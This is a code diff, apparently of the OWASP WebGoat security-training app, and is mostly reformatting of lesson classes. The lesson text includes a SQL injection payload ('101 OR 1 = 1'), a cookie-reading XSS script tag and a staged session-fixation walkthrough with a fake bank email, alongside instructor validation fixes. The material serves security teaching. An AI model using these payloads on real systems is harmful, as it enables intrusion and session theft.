setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
@ -306,13 +303,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
}
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
@ -377,18 +374,18 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
@ -432,13 +429,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}

View File

@ -98,11 +98,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -125,8 +125,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
@ -171,8 +171,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -82,11 +82,11 @@ public class Login extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -203,28 +203,28 @@ public class SQLInjection extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
@ -248,14 +248,16 @@ public class SQLInjection extends GoatHillsFinancial
{
return "LAB: SQL Injection";
}
@Override
public String getSolution(WebSession s) {
public String getSolution(WebSession s)
{
String src = null;
try
{
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false);
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false);
} catch (IOException e)
{
s.setMessage("Could not find the solution file");
@ -263,8 +265,9 @@ public class SQLInjection extends GoatHillsFinancial
}
return src;
}
public String getLessonSolutionFileName(WebSession s) {
public String getLessonSolutionFileName(WebSession s)
{
String solutionFileName = null;
String stage = getStage(s);
solutionFileName = "/lesson_solutions/Lab SQL Injection/Lab " + stage + ".html";

View File

@ -117,10 +117,10 @@ public class ViewProfile extends DefaultLessonAction
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
//System.out.println("Profile: " + profile);
// System.out.println("Profile: " + profile);
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
@ -167,8 +167,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -3,7 +3,6 @@ package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -111,8 +110,8 @@ public class SameOriginPolicyProtection extends LessonAdapter
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0);
//System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
//System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
// System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
// System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{

View File

@ -86,7 +86,7 @@ public abstract class SequentialLessonAdapter extends LessonAdapter
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
//System.out.println(e);
// System.out.println(e);
e.printStackTrace();
}

View File

@ -7,7 +7,6 @@ import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -80,19 +79,19 @@ public class SessionFixation extends SequentialLessonAdapter
*/
protected Element createContent(WebSession s)
{
if(sid.equals("") && getLessonTracker(s).getStage() > 2 )
if (sid.equals("") && getLessonTracker(s).getStage() > 2)
{
getLessonTracker(s).setStage(1);
}
String sid = s.getParser().getStringParameter("SID","");
String sid = s.getParser().getStringParameter("SID", "");
if (!sid.equals(""))
{
this.sid = sid;
}
if(!s.getParser().getStringParameter("Restart", "").equals(""))
if (!s.getParser().getStringParameter("Restart", "").equals(""))
{
s.add(LOGGEDIN, "false");
s.add("SID","");
s.add("SID", "");
this.sid = "";
}
if (getLessonTracker(s).getStage() == 3)
@ -108,28 +107,28 @@ public class SessionFixation extends SequentialLessonAdapter
s.add("SID", randomSid);
this.sid = randomSid;
}
String name = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, "");
if(correctLogin(name, password, s))
if (correctLogin(name, password, s))
{
getLessonTracker(s).setStage(4);
sid="";
sid = "";
s.add(LOGGEDIN, "true");
s.add(LOGGEDINUSER, name);
s.setMessage("You completed stage 3!");
}
}
if(getLessonTracker(s).getStage() == 4)
if (getLessonTracker(s).getStage() == 4)
{
if (sid.equals("NOVALIDSESSION"))
{
//System.out.println("STAGE 5");
// System.out.println("STAGE 5");
getLessonTracker(s).setStage(5);
}
}
if (getLessonTracker(s).getStage() == 2)
@ -183,14 +182,14 @@ public class SessionFixation extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
String mailHeader = "<b>Mail From:</b> &nbsp;&nbsp;admin@webgoatfinancial.com<br><br>";
String mailContent = (String) s.get(MAILCONTENTNAME);
//Reset Lesson if server was shut down
if(mailContent == null)
// Reset Lesson if server was shut down
if (mailContent == null)
{
getLessonTracker(s).setStage(1);
return createStage1Content(s);
}
ec.addElement(mailHeader + mailContent);
return ec;
@ -202,40 +201,40 @@ public class SessionFixation extends SequentialLessonAdapter
{
return createStage3Content(s);
}
@Override
protected Element doStage4(WebSession s) throws Exception
{
return createStage4Content(s);
}
@Override
protected Element doStage5(WebSession s) throws Exception
{
//System.out.println("Doing stage 5");
// System.out.println("Doing stage 5");
return createStage5Content(s);
}
private Element createStage5Content(WebSession s)
{
return createMainLoginContent(s);
}
private Element createStage3Content(WebSession s)
{
return createMainLoginContent(s);
}
private Element createStage4Content(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement("<h2>Jane has logged into her account. Go and grab her session!" +
" Use Following link to reach the login screen of the bank:</h2><br><br>" +
"<a href=" + super.getLink() +"&SID=NOVALIDSESSION><center> Goat Hills Financial </center></a><br><br><br><br>");
ec.addElement("<h2>Jane has logged into her account. Go and grab her session!"
+ " Use Following link to reach the login screen of the bank:</h2><br><br>" + "<a href="
+ super.getLink() + "&SID=NOVALIDSESSION><center> Goat Hills Financial </center></a><br><br><br><br>");
return ec;
//return createMainLoginContent(s);
// return createMainLoginContent(s);
}
private Element createStage1Content(WebSession s)
@ -395,14 +394,14 @@ public class SessionFixation extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
String name = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, "");
try
{
// Logout Button is pressed
if (s.getParser().getRawParameter("logout", "").equals("true"))
{
s.add(LOGGEDIN, "false");
s.add("SID","");
s.add("SID", "");
this.sid = "";
}
@ -419,7 +418,7 @@ public class SessionFixation extends SequentialLessonAdapter
}
else
{
if((name+password).equals(""))
if ((name + password).equals(""))
{
createLogInContent(ec, "");
@ -432,7 +431,7 @@ public class SessionFixation extends SequentialLessonAdapter
}
} catch (Exception e)
{
if((name+password).equals(""))
if ((name + password).equals(""))
{
createLogInContent(ec, "");
@ -446,7 +445,6 @@ public class SessionFixation extends SequentialLessonAdapter
return ec;
}
/**
* See if the password and corresponding user is valid
*
@ -478,8 +476,7 @@ public class SessionFixation extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -487,13 +484,11 @@ public class SessionFixation extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
}
return false;
@ -541,7 +536,7 @@ public class SessionFixation extends SequentialLessonAdapter
table.addElement(tr3);
loginDiv.addElement(table);
ec.addElement(loginDiv);
H2 errorTag = new H2(errorMessage);
errorTag.addAttribute("align", "center");
errorTag.addAttribute("class", "info");
@ -602,7 +597,7 @@ public class SessionFixation extends SequentialLessonAdapter
userDataDiv.addElement(table);
ec.addElement(userDataDiv);
ec.addElement(createLogoutLink());
}
/**
@ -650,8 +645,7 @@ public class SessionFixation extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -659,8 +653,7 @@ public class SessionFixation extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -715,8 +708,6 @@ public class SessionFixation extends SequentialLessonAdapter
hints.add("Stage 4: Click on the link provided");
hints.add("Stage 4: What is your actual SID?");
hints.add("Stage 4: Change the SID (NOVALIDSESSION) to the choosen one in the mail");
return hints;
@ -732,35 +723,32 @@ public class SessionFixation extends SequentialLessonAdapter
{
stage = 4;
}
String instructions = "STAGE " +stage+": ";
if(stage == 1)
String instructions = "STAGE " + stage + ": ";
if (stage == 1)
{
instructions += "You are Hacker Joe and " +
"you want to steal the session from Jane. " +
"Send a prepared email to the victim " +
"which looks like an official email from the bank. " +
"A template message is prepared below, you will need to add " +
"a Session ID (SID) in the link inside the email. Alter " +
"the link to include a SID.<br><br><b>You are: Hacker Joe</b>";
instructions += "You are Hacker Joe and " + "you want to steal the session from Jane. "
+ "Send a prepared email to the victim " + "which looks like an official email from the bank. "
+ "A template message is prepared below, you will need to add "
+ "a Session ID (SID) in the link inside the email. Alter "
+ "the link to include a SID.<br><br><b>You are: Hacker Joe</b>";
}
else if (stage == 2)
{
instructions += "Now you are the victim Jane who received the email below. " +
"If you point on the link with your mouse you will see that there is a SID included. " +
"Click on it to see what happens.<br><br><b>You are: Victim Jane</b> ";
instructions += "Now you are the victim Jane who received the email below. "
+ "If you point on the link with your mouse you will see that there is a SID included. "
+ "Click on it to see what happens.<br><br><b>You are: Victim Jane</b> ";
}
else if (stage == 3)
{
instructions += "The bank has asked you to verfy your data. Log in to see if your details are " +
"correct. Your user name is <b>Jane</b> and your password is <b>tarzan</b>. <br><br><b>You are: Victim Jane</b> ";
instructions += "The bank has asked you to verfy your data. Log in to see if your details are "
+ "correct. Your user name is <b>Jane</b> and your password is <b>tarzan</b>. <br><br><b>You are: Victim Jane</b> ";
}
else if (stage == 4)
{
instructions += "It is time to steal the session now. Use following link to reach Goat Hills " +
"Financial.<br><br><b>You are: Hacker Joe</b> ";
instructions += "It is time to steal the session now. Use following link to reach Goat Hills "
+ "Financial.<br><br><b>You are: Hacker Joe</b> ";
}
return (instructions);
}
@ -781,7 +769,7 @@ public class SessionFixation extends SequentialLessonAdapter
{
return ("Session Fixation");
}
@Override
public void handleRequest(WebSession s)
{
@ -793,27 +781,23 @@ public class SessionFixation extends SequentialLessonAdapter
form.setEncType("");
setContent(form);
}
@Override
public String getLink()
{
if(sid.equals(""))
{
return super.getLink();
}
if (sid.equals("")) { return super.getLink(); }
return super.getLink() + "&SID=" + sid;
}
private String randomSIDGenerator()
{
String sid = "";
sid = String.valueOf(Math.abs(random.nextInt()%100000));
sid = String.valueOf(Math.abs(random.nextInt() % 100000));
return sid;
}
public Element getCredits()
{
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));

View File

@ -56,8 +56,8 @@ import org.owasp.webgoat.session.WebgoatContext;
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences -
* Java - Code Style - Code Templates
*/
public class SoapRequest extends SequentialLessonAdapter
{

View File

@ -310,13 +310,13 @@ public class SqlNumericInjection extends SequentialLessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command.");
hints
.add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true.");
hints.add("Try to intercept the post request with WebScarab and replace the station " +
"with 101 OR 1 = 1");
hints.add("Try to intercept the post request with WebScarab and replace the station " + "with 101 OR 1 = 1");
return hints;
}
@ -351,7 +351,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
super.handleRequest(s);
} catch (Exception e)
{
//System.out.println("Exception caught: " + e);
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}

View File

@ -273,7 +273,7 @@ public class SqlStringInjection extends SequentialLessonAdapter
super.handleRequest(s);
} catch (Exception e)
{
//System.out.println("Exception caught: " + e);
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}

View File

@ -79,7 +79,8 @@ public class StoredXss extends LessonAdapter
private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
// message
/**
* Adds a feature to the Message attribute of the MessageBoardScreen object
@ -160,7 +161,8 @@ public class StoredXss extends LessonAdapter
List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message.");
hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints.add("Enter this: &lt;script&gt;alert(document.cookie);&lt;/script&gt; in the message field.");
return hints;
@ -307,7 +309,7 @@ public class StoredXss extends LessonAdapter
* Description of the Parameter
* @return Description of the Return Value
*/
public Element makeList(WebSession s)
public Element makeList(WebSession s)
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
@ -326,7 +328,7 @@ public class StoredXss extends LessonAdapter
statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setString(2, getClass().getName());
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{
results.beforeFirst();

View File

@ -189,7 +189,7 @@ public class ThreadSafetyProblem extends LessonAdapter
super.handleRequest(s);
} catch (Exception e)
{
//System.out.println("Exception caught: " + e);
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}

View File

@ -125,13 +125,14 @@ public class UncheckedEmail extends LessonAdapter
sendSimulatedMail(ec, to, subject, message);
}
}
if(to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
if (to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
{
s.setMessage("The attack worked! Now try to attack another person than the admin.");
}
// only complete the lesson if they changed the "to" hidden field and they sen a scripttag in the message
// only complete the lesson if they changed the "to" hidden field and they sen a
// scripttag in the message
if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
{
makeSuccess(s);

View File

@ -65,8 +65,8 @@ import org.owasp.webgoat.session.WebgoatContext;
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences -
* Java - Code Style - Code Templates
*/
public class WSDLScanning extends LessonAdapter
{

View File

@ -141,7 +141,6 @@ public class WelcomeScreen extends Screen
/*
* (non-Javadoc)
*
* @see session.Screen#getRole()
*/
public String getRole()

View File

@ -56,8 +56,8 @@ import org.xml.sax.helpers.XMLReaderFactory;
*
* @author rdawes
*
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences -
* Java - Code Style - Code Templates
*/
public class WsSAXInjection extends LessonAdapter
{

View File

@ -55,8 +55,8 @@ import org.owasp.webgoat.session.WebgoatContext;
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Code Style - Code Templates
* TODO To change the template for this generated type comment go to Window - Preferences -
* Java - Code Style - Code Templates
*/
public class WsSqlInjection extends LessonAdapter
{
@ -72,7 +72,6 @@ public class WsSqlInjection extends LessonAdapter
/*
* (non-Javadoc)
*
* @see lessons.AbstractLesson#getMenuItem()
*/
static boolean completed;

View File

@ -1,8 +1,7 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -10,34 +9,26 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/* STAGE 5 FIXES
Solution Summary: Edit FindProfile.java and change getRequestParameter().
Modify getRequestParameter() with lines denoted by // STAGE 5 - FIX.
Solution Steps:
1. Talk about the different parser methods. We could have used the parser method that takes a regular expression.
2. Call validate on the request parameter.
return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name));
Note: patterns.get(name) is used to fetch the XSS validation pattern that is defined
in FindProfile.Java
protected static Map patterns = new HashMap();
static
{
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
}
*/
/*
* STAGE 5 FIXES Solution Summary: Edit FindProfile.java and change getRequestParameter(). Modify
* getRequestParameter() with lines denoted by // STAGE 5 - FIX. Solution Steps: 1. Talk about the
* different parser methods. We could have used the parser method that takes a regular expression.
* 2. Call validate on the request parameter. return validate(s.getParser().getRawParameter(name),
* (Pattern) patterns.get(name)); Note: patterns.get(name) is used to fetch the XSS validation
* pattern that is defined in FindProfile.Java protected static Map patterns = new HashMap(); static
* { patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}")); }
*/
public class FindProfile_i extends FindProfile
{
{
public FindProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName, chainedAction);
}
protected String getRequestParameter(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
ValidationException
{
// NOTE:
//
@ -46,12 +37,12 @@ public class FindProfile_i extends FindProfile
//
// Another way this could be done is to use the reguler expression method in the
// ParameterParser class
// STAGE 5 - FIX
// STAGE 5 - FIX
return validate(s.getParser().getRawParameter(name), (Pattern) patterns.get(name));
// Note the design goal here...
//return s.getParser().getStringParameter(name), (Pattern) patterns.get(name));
// return s.getParser().getStringParameter(name), (Pattern) patterns.get(name));
}
}

View File

@ -1,9 +1,8 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting;
import org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
@ -14,30 +13,20 @@ import org.owasp.webgoat.session.ParameterParser;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/* STAGE 2 FIXES
Solution Summary: Edit UpdateProfile.java and change parseEmployeeProfile().
Modify parseEmployeeProfile() with lines denoted by // STAGE 2 - FIX.
Solution Steps:
1. Talk about the different parser methods.
a. parseEmployeeProfile(subjectId, s.getRequest())
- uses the request object directly.
- calling validate() on the appropriate parameter
b. parseEmployeeProfile(subjectId, s.getParser())
- uses the parser object to pull request data (centralized mechanism)
2. Fix the request object version of the call // STAGE 2 - FIX
Replace the call to:
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
With:
final Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 - FIX
String address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); // STAGE 2 - FIX
3. Fix the parser version of the call. // STAGE 2 - ALTERNATE FIX
Change all calls in parseEmployeeProfile(subjectId, s.getParser()) to use
the appropriate parser.method() call
*/
/*
* STAGE 2 FIXES Solution Summary: Edit UpdateProfile.java and change parseEmployeeProfile(). Modify
* parseEmployeeProfile() with lines denoted by // STAGE 2 - FIX. Solution Steps: 1. Talk about the
* different parser methods. a. parseEmployeeProfile(subjectId, s.getRequest()) - uses the request
* object directly. - calling validate() on the appropriate parameter b.
* parseEmployeeProfile(subjectId, s.getParser()) - uses the parser object to pull request data
* (centralized mechanism) 2. Fix the request object version of the call // STAGE 2 - FIX Replace
* the call to: String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); With: final
* Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 - FIX String
* address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); //
* STAGE 2 - FIX 3. Fix the parser version of the call. // STAGE 2 - ALTERNATE FIX Change all calls
* in parseEmployeeProfile(subjectId, s.getParser()) to use the appropriate parser.method() call
*/
public class UpdateProfile_i extends UpdateProfile
{
@ -46,8 +35,8 @@ public class UpdateProfile_i extends UpdateProfile
super(lesson, lessonName, actionName, chainedAction);
}
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException, ValidationException
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
ValidationException
{
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
@ -56,9 +45,14 @@ public class UpdateProfile_i extends UpdateProfile
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
// Validate this parameter against a regular expression pattern designed for street addresses.
final Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 - FIX
String address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); // STAGE 2 - FIX
// Validate this parameter against a regular expression pattern designed for street
// addresses.
final Pattern PATTERN_ADDRESS1 = Pattern.compile("[a-zA-Z0-9,\\.\\- ]{0,80}"); // STAGE 2 -
// FIX
String address1 = validate(request.getParameter(CrossSiteScripting.ADDRESS1), PATTERN_ADDRESS1); // STAGE
// 2
// -
// FIX
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
@ -69,19 +63,18 @@ public class UpdateProfile_i extends UpdateProfile
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone,
address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee parseEmployeeProfile(int subjectId, ParameterParser parser)
throws ParameterNotFoundException, ValidationException
protected Employee parseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
ValidationException
{
// STAGE 2 - ALTERNATE FIX
// STAGE 2 - ALTERNATE FIX
String firstName = parser.getStrictAlphaParameter(CrossSiteScripting.FIRST_NAME, 20);
String lastName = parser.getStrictAlphaParameter(CrossSiteScripting.LAST_NAME, 20);
String ssn = parser.getSsnParameter(CrossSiteScripting.SSN);
@ -97,12 +90,11 @@ public class UpdateProfile_i extends UpdateProfile
String disciplinaryActionDate = parser.getDateParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = parser.getStrictAlphaParameter(CrossSiteScripting.DISCIPLINARY_NOTES, 60);
String personalDescription = parser.getStrictAlphaParameter(CrossSiteScripting.DESCRIPTION, 60);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone,
address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}

View File

@ -1,14 +1,14 @@
package org.owasp.webgoat.lessons.instructor.CrossSiteScripting;
import org.owasp.webgoat.lessons.CrossSiteScripting.ViewProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
/* STAGE 4 FIXES
Solution Summary: Look in the WebContent/lesson/CrossSiteScripting/ViewProfile.jsp
Look for the <-- STAGE 4 - FIX in the ViewProfile.jsp
*/
/*
* STAGE 4 FIXES Solution Summary: Look in the WebContent/lesson/CrossSiteScripting/ViewProfile.jsp
* Look for the <-- STAGE 4 - FIX in the ViewProfile.jsp
*/
public class ViewProfile_i extends ViewProfile
{

View File

@ -1,131 +1,59 @@
package org.owasp.webgoat.lessons.instructor.DBCrossSiteScripting;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
/* STAGE 2 FIXES
Solution Summary (1. or 2.)
1. Modify the UPDATE_EMPLOYEE stored procedure in the database and add
a validation step. Oracle 10G now supports regular expressions.
2. Apply a column constraint can also work IFF the existing data is clean
Solution Steps:
1. Talk about the different database approaches.
a. Apply validation in the UPDATE stored proc
- Possible to bypass by not using that stored proc
b. Apply a table column constraint
- Cannot be bypassed. The DB enforces the constraint under all conditions
2. Fix the stored proc
Define the pattern.
Validate the field against the pattern.
Raise an exception if invalid.
CREATE OR REPLACE PROCEDURE UPDATE_EMPLOYEE(
v_userid IN employee.userid%type,
v_first_name IN employee.first_name%type,
v_last_name IN employee.last_name%type,
v_ssn IN employee.ssn%type,
v_title IN employee.title%type,
v_phone IN employee.phone%type,
v_address1 IN employee.address1%type,
v_address2 IN employee.address2%type,
v_manager IN employee.manager%type,
